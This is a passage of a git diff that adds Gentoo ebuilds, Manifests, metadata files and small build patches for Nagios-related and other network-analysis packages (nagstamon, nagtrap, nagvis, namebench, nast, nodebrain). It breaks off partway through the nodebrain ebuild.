diff --git a/net-analyzer/nagstamon/files/nagstamon-0.9.11_rc1-resources.patch b/net-analyzer/nagstamon/files/nagstamon-0.9.11_rc1-resources.patch
new file mode 100644
index 000000000000..9d8941d3832c
--- /dev/null
+++ b/net-analyzer/nagstamon/files/nagstamon-0.9.11_rc1-resources.patch
@@ -0,0 +1,13 @@
+diff --git a/Nagstamon/nagstamon.py b/Nagstamon/nagstamon.py
+index 0e016ef..7dca409 100755
+--- a/Nagstamon/nagstamon.py
++++ b/Nagstamon/nagstamon.py
+@@ -86,6 +86,8 @@ except Exception, err:
+ Resources = path
+ break
+
++Resources = "/usr/share/nagstamon/resources"
++
+ # initialize GUI and actions
+ # if modules are not available from central python install try the ones in the same directory
+ from Nagstamon import GUI
diff --git a/net-analyzer/nagstamon/files/nagstamon.desktop b/net-analyzer/nagstamon/files/nagstamon.desktop
new file mode 100644
index 000000000000..d853e1aae7ba
--- /dev/null
+++ b/net-analyzer/nagstamon/files/nagstamon.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Version=1.0
+Type=Application
+Name=Nagstamon
+GenericName=Nagios status monitor
+Comment=Quick status overview of your Nagios monitoring system
+Exec=nagstamon
+Icon=/usr/share/nagstamon/resources/nagstamon.png
+Terminal=false
+Categories=Network;Monitor;
+StartupNotify=true
diff --git a/net-analyzer/nagstamon/metadata.xml b/net-analyzer/nagstamon/metadata.xml
new file mode 100644
index 000000000000..2035b3f5e999
--- /dev/null
+++ b/net-analyzer/nagstamon/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+ <maintainer>
+ <email>idl0r@gentoo.org</email>
+ <name>Christian Ruppert</name>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">nagstamon</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagstamon/nagstamon-0.9.11_rc1.ebuild b/net-analyzer/nagstamon/nagstamon-0.9.11_rc1.ebuild
new file mode 100644
index 000000000000..527151e8341d
--- /dev/null
+++ b/net-analyzer/nagstamon/nagstamon-0.9.11_rc1.ebuild
@@ -0,0 +1,77 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+PYTHON_DEPEND="2"
+SUPPORT_PYTHON_ABIS="1"
+RESTRICT_PYTHON_ABIS="3.* *-jython"
+
+inherit eutils python
+
+MY_PN="Nagstamon"
+MY_P="${MY_PN}-${PV/_/}-20130729"
+
+DESCRIPTION="Nagstamon is a Nagios status monitor for a systray and displays a realtime status of a Nagios box"
+HOMEPAGE="http://nagstamon.sourceforge.net"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="gnome sound"
+
+DEPEND=""
+RDEPEND="dev-python/pygobject:2
+ dev-python/pygtk
+ dev-python/lxml
+ dev-python/beautifulsoup:python-2
+ gnome-base/librsvg
+ gnome? ( dev-python/egg-python )
+ sound? ( media-sound/sox )"
+
+S="${WORKDIR}/${MY_PN}"
+
+src_prepare() {
+ epatch "${FILESDIR}/nagstamon-0.9.11_rc1-resources.patch"
+
+ python_convert_shebangs 2 nagstamon.py
+
+ rm Nagstamon/resources/LICENSE
+ rm Nagstamon/BeautifulSoup.py
+}
+
+src_install() {
+ # setup.py is broken
+ cd Nagstamon/
+
+ doman resources/nagstamon.1 || die
+ rm resources/nagstamon.1
+
+ nagstamon_install() {
+ exeinto $(python_get_sitedir)/${MY_PN}
+ doexe ../nagstamon.py || die
+ dosym $(python_get_sitedir)/${MY_PN}/${PN}.py /usr/bin/${PN} || die
+
+ insinto $(python_get_sitedir)/${MY_PN}
+ doins {GUI,Config,Objects,Custom,Actions}.py || die
+ touch "${D}/$(python_get_sitedir)/${MY_PN}/__init__.py" || die
+ doins -r Server/ || die
+
+ insinto /usr/share/${PN}/resources
+ doins resources/* || die
+
+ domenu "${FILESDIR}"/${PN}.desktop || die
+ }
+
+ python_execute_function nagstamon_install
+}
+
+pkg_postinst() {
+ python_mod_optimize ${MY_PN}
+}
+
+pkg_postrm() {
+ python_mod_cleanup ${MY_PN}
+}
diff --git a/net-analyzer/nagstamon/nagstamon-1.0.1.ebuild b/net-analyzer/nagstamon/nagstamon-1.0.1.ebuild
new file mode 100644
index 000000000000..485a23c9ef6e
--- /dev/null
+++ b/net-analyzer/nagstamon/nagstamon-1.0.1.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+PYTHON_COMPAT=( python2_7 )
+
+inherit eutils python-r1
+
+MY_PN="Nagstamon"
+MY_P="${MY_PN}-${PV/_}"
+
+DESCRIPTION="Nagstamon is a Nagios status monitor for a systray and displays a realtime status of a Nagios box"
+HOMEPAGE="http://nagstamon.sourceforge.net"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="gnome sound"
+
+DEPEND=""
+RDEPEND="dev-python/pygobject:2
+ dev-python/pygtk
+ dev-python/lxml
+ dev-python/beautifulsoup:python-2
+ gnome-base/librsvg
+ dev-python/keyring
+ gnome? ( dev-python/egg-python )
+ sound? ( media-sound/sox )"
+
+S="${WORKDIR}/${MY_PN}"
+
+src_prepare() {
+ epatch "${FILESDIR}/nagstamon-0.9.11_rc1-resources.patch"
+
+ rm Nagstamon/resources/LICENSE
+}
+
+src_install() {
+ # setup.py is broken
+ cd Nagstamon/
+
+ doman resources/nagstamon.1
+ rm resources/nagstamon.1
+
+ newbin ../nagstamon.py nagstamon
+
+ insinto /usr/share/${PN}/resources
+ doins resources/*
+
+ domenu "${FILESDIR}"/${PN}.desktop
+
+ nagstamon_install() {
+ insinto $(python_get_sitedir)/${MY_PN}
+ doins {GUI,Config,Objects,Custom,Actions}.py
+ touch "${D}/$(python_get_sitedir)/${MY_PN}/__init__.py" || die
+ doins -r Server/ thirdparty/
+ }
+
+ python_foreach_impl nagstamon_install
+
+ python_replicate_script "${D}/usr/bin/nagstamon"
+}
diff --git a/net-analyzer/nagtrap/Manifest b/net-analyzer/nagtrap/Manifest
new file mode 100644
index 000000000000..3eba44d17bdc
--- /dev/null
+++ b/net-analyzer/nagtrap/Manifest
@@ -0,0 +1 @@
+DIST nagtrap-0.1.3.tar.gz 141934 SHA256 25082a363101a321d46649d4e5afca92acbafa37564470eadcc331235f4656f1 SHA512 4603157beb35850a6f8b69919cd0ce8f108e6de8e85711b9c18665b69f91082d6703da396b1170633172cef630c2f3d73b717f1893cb4da6b6d15a3f577d445a WHIRLPOOL a17dfe70c6e5fda47347199312e068a1a0429cd1a9880e183f9f31057b70b20282852f48c91fce52435f4a14db90375cc119672087aba13148c04e234b76ad45
diff --git a/net-analyzer/nagtrap/metadata.xml b/net-analyzer/nagtrap/metadata.xml
new file mode 100644
index 000000000000..ff62877c67ae
--- /dev/null
+++ b/net-analyzer/nagtrap/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/nagtrap/nagtrap-0.1.3.ebuild b/net-analyzer/nagtrap/nagtrap-0.1.3.ebuild
new file mode 100644
index 000000000000..9ff932ab8193
--- /dev/null
+++ b/net-analyzer/nagtrap/nagtrap-0.1.3.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+
+inherit eutils multilib
+
+DESCRIPTION="NagTrap is an integrated snmptt visualization addon for the Nagios monitoring system"
+HOMEPAGE="http://www.nagtrap.org/"
+SRC_URI="http://www.nagiosforge.org/gf/download/frsrelease/126/252/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+DEPEND="virtual/httpd-php"
+RDEPEND="dev-lang/php[mysql]
+ net-analyzer/snmptt[mysql]
+ net-analyzer/nagios-core
+ virtual/httpd-php"
+
+src_install() {
+ dodoc ChangeLog THANKS
+
+ dodir /usr/share/nagtrap
+ cp -r {db,nagtrap} "${D}"/usr/share/nagtrap/
+ fperms 640 "${D}"/usr/share/nagtrap/nagtrap/etc/config.ini.php-dist
+
+ sed -i -e 's#use lib.*#use lib "/usr/lib/nagios/plugins";#g' \
+ plugin/check_snmptraps.pl || die "sed failed"
+
+ insinto /usr/$(get_libdir)/nagios/plugins
+ insopts -m 750 -g nagios
+ doins plugin/check_snmptraps.pl
+}
+pkg_postinst() {
+ elog "Before running NagTrap for the first time, you will need setup its configuration"
+ elog "/usr/share/nagtrap/nagtrap/etc/config.ini.php"
+ elog "A sample is installed in"
+ elog "/usr/share/nagtrap/nagtrap/etc/config.ini.php-sample"
+ elog
+ elog "NagTrap requires snmptt to write traps into a MySQL database."
+ elog "A database schema is available in {$D}usr/share/nagtrap/db"
+}
diff --git a/net-analyzer/nagvis/Manifest b/net-analyzer/nagvis/Manifest
new file mode 100644
index 000000000000..76187738df81
--- /dev/null
+++ b/net-analyzer/nagvis/Manifest
@@ -0,0 +1 @@
+DIST nagvis-1.6.6.tar.gz 3430714 SHA256 8aefe17ea7f43839fd5db4063fbac96eeedddbdcdf3789f4a75e9ca51c2833a8 SHA512 e5858b185dd5d31fc8d414df5b3464941769249ce582b10e155e89ba7aa0c45724550c44de9d7bfb23b96caa737e519f320e45050126feb94593cca2bfc583cb WHIRLPOOL 8af9d6c86ec84cc3630d0d93cd6cc55d2687a8b55f0f3b6eb2cadf946580af3a314daae9d5055ca41fd62f27fe06e188c9c319b42bd9118a1a6976815f2e18ad
diff --git a/net-analyzer/nagvis/files/nagvis-1.6.6-base-path.patch b/net-analyzer/nagvis/files/nagvis-1.6.6-base-path.patch
new file mode 100644
index 000000000000..771076c4eaa7
--- /dev/null
+++ b/net-analyzer/nagvis/files/nagvis-1.6.6-base-path.patch
@@ -0,0 +1,13 @@
+--- a/share/server/core/classes/GlobalMainCfg.php 2012-05-31 11:14:23.000000000 -0400
++++ b/share/server/core/classes/GlobalMainCfg.php 2012-05-31 11:17:10.000000000 -0400
+@@ -1215,8 +1215,8 @@
+ * @author Roman Kyrylych <rkyrylych@op5.com>
+ */
+ private function getBasePath() {
+- // Go 3 levels up from nagvis/share/nagvis to nagvis base path
+- return realpath(dirname($_SERVER['SCRIPT_FILENAME']) . '/../../..') . '/';
++ // Go 2 levels up from share/nagvis to nagvis base path
++ return realpath(dirname($_SERVER['SCRIPT_FILENAME']) . '/../..') . '/';
+ // Note: the method below causes problems when <docroot>/nagvis is a symlink to <nagvis-base>/share
+ // return realpath(dirname(dirname(dirname($_SERVER['SCRIPT_FILENAME'])))).'/';
+ }
diff --git a/net-analyzer/nagvis/files/nagvis-1.6.6-global-definitions.patch b/net-analyzer/nagvis/files/nagvis-1.6.6-global-definitions.patch
new file mode 100644
index 000000000000..9786b970179f
--- /dev/null
+++ b/net-analyzer/nagvis/files/nagvis-1.6.6-global-definitions.patch
@@ -0,0 +1,30 @@
+--- a/share/server/core/defines/global.php 2012-05-13 05:44:27.000000000 -0400
++++ b/share/server/core/defines/global.php 2012-05-31 11:20:39.000000000 -0400
+@@ -64,7 +64,7 @@
+ define('DEBUGLEVEL', 6);
+
+ // Path to the debug file
+-define('DEBUGFILE', '../../../var/nagvis-debug.log');
++define('DEBUGFILE', '../../var/nagvis-debug.log');
+
+ // It is possible to define a conf.d directory for splitting the main
+ // configuration in several files. Only the values defined in the CONST_MAINCFG
+@@ -78,14 +78,14 @@
+ // The last value wins.
+ //
+ // Path to the main configuration file
+-define('CONST_MAINCFG', '../../../etc/nagvis.ini.php');
+-define('CONST_MAINCFG_CACHE', '../../../var/nagvis-conf');
++define('CONST_MAINCFG', '../../etc/nagvis.ini.php');
++define('CONST_MAINCFG_CACHE', '../../var/nagvis-conf');
+
+ // Path to the main configuration conf.d directory
+-define('CONST_MAINCFG_DIR', '../../../etc/conf.d');
++define('CONST_MAINCFG_DIR', '../../etc/conf.d');
+
+ // The directory below the NagVis root which is shared by the webserver
+-define('HTDOCS_DIR', 'share');
++define('HTDOCS_DIR', '');
+
+ // Needed minimal PHP version
+ define('CONST_NEEDED_PHP_VERSION', '5.0');
diff --git a/net-analyzer/nagvis/metadata.xml b/net-analyzer/nagvis/metadata.xml
new file mode 100644
index 000000000000..13794622b8f3
--- /dev/null
+++ b/net-analyzer/nagvis/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+ </maintainer>
+ <use>
+ <flag name="automap">Enable automated map generation using <pkg>media-gfx/graphviz</pkg></flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">nagvis</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagvis/nagvis-1.6.6.ebuild b/net-analyzer/nagvis/nagvis-1.6.6.ebuild
new file mode 100644
index 000000000000..35731f314f42
--- /dev/null
+++ b/net-analyzer/nagvis/nagvis-1.6.6.ebuild
@@ -0,0 +1,91 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils depend.apache
+
+DESCRIPTION="NagVis is a visualization addon for the well known network managment system Nagios"
+HOMEPAGE="http://www.nagvis.org/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="apache2 automap"
+
+DEPEND="virtual/httpd-php"
+RDEPEND="|| ( net-analyzer/nagios net-analyzer/icinga )
+ automap? ( >=media-gfx/graphviz-2.14 )
+ apache2? ( dev-lang/php[apache2] )
+ net-analyzer/mk-livestatus
+ dev-lang/php[gd,nls,json,session,pdo,sqlite,sockets,mysql,unicode,xml]
+ virtual/httpd-php:*"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-base-path.patch
+ epatch "${FILESDIR}"/${P}-global-definitions.patch
+ grep -Rl "/usr/local" "${S}"/* | xargs sed -i s:/usr/local:/usr:g ||die
+ sed -i s:@NAGVIS_WEB@:/nagvis:g "${S}"/etc/apache2-nagvis.conf-sample ||die
+ sed -i s:@NAGVIS_PATH@:/usr/share/nagvis/:g "${S}"/etc/apache2-nagvis.conf-sample ||die
+ sed -i s:/usr/nagios/var/rw/live:/var/nagios/rw/live:g "${S}"/etc/nagvis.ini.php-sample ||die
+}
+
+src_install() {
+ dodoc README INSTALL
+
+ insinto /usr/share/nagvis
+ doins -r share/{config.php,index.php,frontend,netmap,server,userfiles}
+ doins -r docs
+
+ diropts -o apache -g root
+ dodir /var/nagvis/tmpl/{cache,compile}
+ diropts
+ dosym /var/nagvis /usr/share/nagvis/var
+
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins etc/apache2-nagvis.conf-sample 98_${PN}.conf
+ fi
+
+ insinto /etc/nagvis
+ doins -r etc/{conf.d,automaps,geomap,.htaccess,nagvis.ini.php-sample}
+ fowners apache:root /etc/nagvis
+ fperms 0664 /etc/nagvis/nagvis.ini.php-sample
+ dosym /etc/nagvis /usr/share/nagvis/etc
+
+ diropts -o apache -g root -m0775
+ insopts -o apache -g root -m0664
+ doins -r etc/maps
+ diropts
+ insopts
+
+ # move image maps dir from usr to var and symlink it back
+ dodir /var/nagvis/userfiles/images
+ mv "${D}"/usr/share/nagvis/userfiles/images/maps "${D}"/var/nagvis/userfiles/images/ ||die
+ fowners apache:root /var/nagvis/userfiles/images/maps
+ dosym /var/nagvis/userfiles/images/maps /usr/share/nagvis/userfiles/images/maps
+}
+
+pkg_postinst() {
+ elog "Before running NagVis for the first time, you will need to set up"
+ elog "/etc/nagvis/nagvis.ini.php"
+ elog "A sample is in"
+ elog "/etc/nagvis/nagvis.ini.php-sample"
+ if use apache2 ; then
+ elog
+ elog "For web interface make sure to add -D NAGVIS to APACHE2_OPTS in"
+ elog "/etc/conf.d/apache2 and to restart apache2. A default configuration"
+ elog "has been placed at /etc/apache2/modules.d/98_${PN}.conf"
+ fi
+ elog ""
+ elog "Default user/password are: nagiosadmin/nagiosadmin"
+ elog " guest/guest"
+}
diff --git a/net-analyzer/namebench/Manifest b/net-analyzer/namebench/Manifest
new file mode 100644
index 000000000000..e7bf7e9a7acf
--- /dev/null
+++ b/net-analyzer/namebench/Manifest
@@ -0,0 +1 @@
+DIST namebench-1.3.1-source.tgz 1118505 SHA256 30ccf9e870c1174c6bf02fca488f62bba280203a0b1e8e4d26f3756e1a5b9425 SHA512 df9d120bf9f0bcbb5e3d41d2257b2c594e99b7e69b33435b59587e99dac6dca29e4ae81f51838946bc1955540109da6296abc6b69d411af2b91e05b58367bb3b WHIRLPOOL 808977fd3e9e2f906350d104be91f0aa80b5df29953a92e00953013b33ce8473fcbc955ceb3d1dc1b71d6491816d6a7e04a0244a12fbd039fd304c7b874cf462
diff --git a/net-analyzer/namebench/metadata.xml b/net-analyzer/namebench/metadata.xml
new file mode 100644
index 000000000000..bdfeb7adc6e5
--- /dev/null
+++ b/net-analyzer/namebench/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="google-code">namebench</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/namebench/namebench-1.3.1-r1.ebuild b/net-analyzer/namebench/namebench-1.3.1-r1.ebuild
new file mode 100644
index 000000000000..55f452db8c0a
--- /dev/null
+++ b/net-analyzer/namebench/namebench-1.3.1-r1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+PYTHON_COMPAT=( python2_7 )
+
+inherit distutils-r1
+
+DESCRIPTION="DNS Benchmark Utility"
+HOMEPAGE="http://code.google.com/p/namebench/"
+SRC_URI="http://namebench.googlecode.com/files/${P}-source.tgz"
+
+LICENSE="Apache-2.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="X"
+
+# PYTHON_REQ_USE does not support X? ( tk ) syntax yet
+DEPEND="X? ( $(python_gen_cond_dep dev-lang/python:2.7[tk] python2_7) )"
+RDEPEND="${DEPEND}
+ >=dev-python/dnspython-1.8.0[${PYTHON_USEDEP}]
+ >=dev-python/httplib2-0.6[${PYTHON_USEDEP}]
+ >=dev-python/graphy-1.0[${PYTHON_USEDEP}]
+ >=dev-python/jinja-2.2.1[${PYTHON_USEDEP}]
+ >=dev-python/simplejson-2.1.2[${PYTHON_USEDEP}]"
+
+python_prepare_all() {
+ # don't include bundled libraries
+ export NO_THIRD_PARTY=1
+
+ distutils-r1_python_prepare_all
+}
+
+python_install() {
+ #set prefix
+ distutils-r1_python_install --install-data=/usr/share
+}
+
+python_install_all() {
+ dosym ${PN}.py /usr/bin/${PN}
+ distutils-r1_python_install_all
+}
diff --git a/net-analyzer/nast/Manifest b/net-analyzer/nast/Manifest
new file mode 100644
index 000000000000..0b2a5f068ca9
--- /dev/null
+++ b/net-analyzer/nast/Manifest
@@ -0,0 +1 @@
+DIST nast-0.2.0.tar.gz 147568 SHA256 b59adf7980563bca1f44fd6e9a6e1b3c0cfadb53df0d929b6869de53062615c1 SHA512 fbf29f9c2ae783e38d40054577a697f631c6590075ef80aa970002f1133c681a4cc1fcd715bc6140cc361c609dcebe8c6bf74544e8710363d30649398b3e388c WHIRLPOOL b920a02e6599bf58b0242630a27bf7d18b5771ca5cb1d2a7db42cdfaf9a29d2386f478d00be992aa105422ae50ef075077826306ac35eae13ef07abd3a595395
diff --git a/net-analyzer/nast/files/nast-0.2.0-gentoo.patch b/net-analyzer/nast/files/nast-0.2.0-gentoo.patch
new file mode 100644
index 000000000000..f8f05ab3a16c
--- /dev/null
+++ b/net-analyzer/nast/files/nast-0.2.0-gentoo.patch
@@ -0,0 +1,79 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -84,14 +84,14 @@
+ #
+
+ filechk="yes"
+-AC_CHECK_FILE(/usr/lib/libnet.a,, filechk="no")
++AC_CHECK_FILE(/usr/lib/libnet.so,, filechk="no")
+ if test "$filechk" = "no"; then
+- AC_CHECK_FILE(/usr/local/lib/libnet.a, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
++ AC_CHECK_FILE(/usr/local/lib/libnet.so, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
+ fi
+
+ if test "$filechk" = "no"; then AC_MSG_ERROR([
+
+-Libnet archive file (libnet.a) not found in /usr or /usr/local!
++Libnet archive file (libnet.so) not found in /usr or /usr/local!
+
+ Libnet-1.1.x Packet Shaping Library is required.
+ You can download it from official web site: http://www.packetfactory.net/libnet
+@@ -111,14 +111,14 @@
+ #
+
+ filechk="yes"
+-AC_CHECK_FILE(/usr/lib/libpcap.a,, filechk="no")
++AC_CHECK_FILE(/usr/lib/libpcap.so,, filechk="no")
+ if test "$filechk" = "no"; then
+- AC_CHECK_FILE(/usr/local/lib/libpcap.a, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
++ AC_CHECK_FILE(/usr/local/lib/libpcap.so, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
+ fi
+
+ if test "$filechk" = "no"; then AC_MSG_ERROR([
+
+-Libpcap archive file (libpcap.a) not found in /usr or /usr/local!
++Libpcap archive file (libpcap.so) not found in /usr or /usr/local!
+
+ Libpcap-0.7.1 Packet Capture Library is required.
+ You can download it from official web site: http://www.tcpdump.org/#current
+@@ -137,16 +137,18 @@
+ # -- libncurses support --
+ #
+
++PKG_CHECK_MODULES(ncurses,ncurses,[LIBS="$LIBS $ncurses_LIBS"],)
++
+ filechk="yes"
+-AC_CHECK_FILE(/usr/lib/libncurses.a,, filechk="no")
++AC_CHECK_FILE(/usr/lib/libncurses.so,, filechk="no")
+ if test "$filechk" = "no"; then
+- AC_CHECK_FILE(/usr/local/lib/libncurses.a, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
++ AC_CHECK_FILE(/usr/local/lib/libncurses.so, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
+ fi
+
+ if test "$filechk" = "no";
+ then AC_MSG_WARN([
+
+-Libncurses archive file (libncurses.a) not found in /usr or /usr/local!
++Libncurses archive file (libncurses.so) not found in /usr or /usr/local!
+
+ Ncurses library (*) not found in your system.
+ You can download it from official web site: http://www.gnu.org/software/ncurses/ncurses.html
+@@ -174,15 +176,15 @@
+ #
+
+ filechk="yes"
+-AC_CHECK_FILE(/usr/lib/libmenu.a,, filechk="no")
++AC_CHECK_FILE(/usr/lib/libmenu.so,, filechk="no")
+ if test "$filechk" = "no"; then
+- AC_CHECK_FILE(/usr/local/lib/libmenu.a, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
++ AC_CHECK_FILE(/usr/local/lib/libmenu.so, filechk="yes" ; LDFLAGS="-L/usr/local/lib"; CPPFLAGS="-I/usr/local/include")
+ fi
+
+ if test "$filechk" = "no";
+ then AC_MSG_WARN([
+
+-Menu archive file (libncurses.a) not found in /usr or /usr/local!
++Menu archive file (libncurses.so) not found in /usr or /usr/local!
+
+
+ Menu library (*) not found in your system.
diff --git a/net-analyzer/nast/metadata.xml b/net-analyzer/nast/metadata.xml
new file mode 100644
index 000000000000..5587ee404f30
--- /dev/null
+++ b/net-analyzer/nast/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">nast.berlios</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nast/nast-0.2.0-r1.ebuild b/net-analyzer/nast/nast-0.2.0-r1.ebuild
new file mode 100644
index 000000000000..ba31068ac59b
--- /dev/null
+++ b/net-analyzer/nast/nast-0.2.0-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="NAST - Network Analyzer Sniffer Tool"
+HOMEPAGE="http://sourceforge.net/projects/nast.berlios/"
+SRC_URI="mirror://sourceforge/${PN}.berlios/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 x86"
+IUSE="ncurses"
+
+RDEPEND="
+ >=net-libs/libnet-1.1.1
+ net-libs/libpcap
+ ncurses? ( >=sys-libs/ncurses-5.4 )
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ eautoreconf
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS}"
+}
+
+src_install() {
+ dosbin nast
+ doman nast.8
+ dodoc AUTHORS BUGS CREDITS ChangeLog NCURSES_README README TODO
+}
diff --git a/net-analyzer/nb/Manifest b/net-analyzer/nb/Manifest
new file mode 100644
index 000000000000..c9f62484dbdf
--- /dev/null
+++ b/net-analyzer/nb/Manifest
@@ -0,0 +1,2 @@
+DIST nodebrain-0.9.02.tar.gz 2421175 SHA256 986617d66cca72f01c325953a321e34f28cb80ed105d4ab0e8967e0a328fcf85 SHA512 08ed3e1bd8a8d49bca702ca3b8b1dd72ef9a4bb2dc7b495dd049b6927f4353af6599ad5f8c8135cc11f6ffc68355b79f8782ec0527af27248c755aeaceee51e7 WHIRLPOOL 5c72ebe99e6f7c85870516d6ff41bf700ac05375d4c8bae52b61870737374a4555632b5e7a1b11bfb3ae2ac33c2f44984d3feabc192437f95048a03a4901b558
+DIST nodebrain-0.9.03.tar.gz 2485735 SHA256 e9fce23525da8c6b3e553492b724eb2122faf22aed92ed45b15c6018eb643fef SHA512 bf81ef4be1518b72d8ef0cccf42747cfe2926ed6cecfde97c05c161c2f2d00525d07da2e24b1c05debb84fa6f35dca7d7dbbc3292471f41dd322ea80175fb96c WHIRLPOOL 0ae2c4f8085cbc725662ee758768a7684523350ebe59ab6f50f374c6b5d0b55588697f84bb395bf946eaa3546a052f08f4fa067532b42eafcf84a9a84baecd7c
diff --git a/net-analyzer/nb/files/nb-0.8.14-include.patch b/net-analyzer/nb/files/nb-0.8.14-include.patch
new file mode 100644
index 000000000000..c34965bfe5e5
--- /dev/null
+++ b/net-analyzer/nb/files/nb-0.8.14-include.patch
@@ -0,0 +1,30 @@
+--- a/lib/nbbfi.c
++++ b/lib/nbbfi.c
+@@ -197,6 +197,7 @@
+ *=============================================================================
+ */
+ #include <nb/nbi.h>
++#include <ctype.h> /* isdigit() */
+
+ /**************************************************************************
+ * Index Routines
+--- a/lib/nbkit.c
++++ b/lib/nbkit.c
+@@ -51,6 +51,7 @@
+ #include <pwd.h>
+ #include <errno.h>
+ #include <unistd.h>
++#include <stdlib.h> /* system() */
+
+ static int nbKitUsage(void){
+ printf("Usage:\n");
+--- a/module/webster/nb_webster.c
++++ b/module/webster/nb_webster.c
+@@ -78,6 +78,7 @@
+ */
+ #include "config.h"
+ #include <nb/nb.h>
++#include <ctype.h> /* isalnum() */
+
+ #if defined(WIN32)
+
diff --git a/net-analyzer/nb/metadata.xml b/net-analyzer/nb/metadata.xml
new file mode 100644
index 000000000000..d646f58f7bdc
--- /dev/null
+++ b/net-analyzer/nb/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">nodebrain</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nb/nb-0.9.02.ebuild b/net-analyzer/nb/nb-0.9.02.ebuild
new file mode 100644
index 000000000000..8a5737fad5ad
--- /dev/null
+++ b/net-analyzer/nb/nb-0.9.02.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Nodebrain is a tool to monitor and do event correlation"
+HOMEPAGE="http://nodebrain.sourceforge.net/"
+SRC_URI="mirror://sourceforge/nodebrain/nodebrain-${PV}.tar.gz"
+
+LICENSE="MIT"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="static-libs"
+
+CDEPEND="dev-libs/libedit"
+DEPEND="
+ ${CDEPEND}
+ dev-lang/perl
+ virtual/pkgconfig
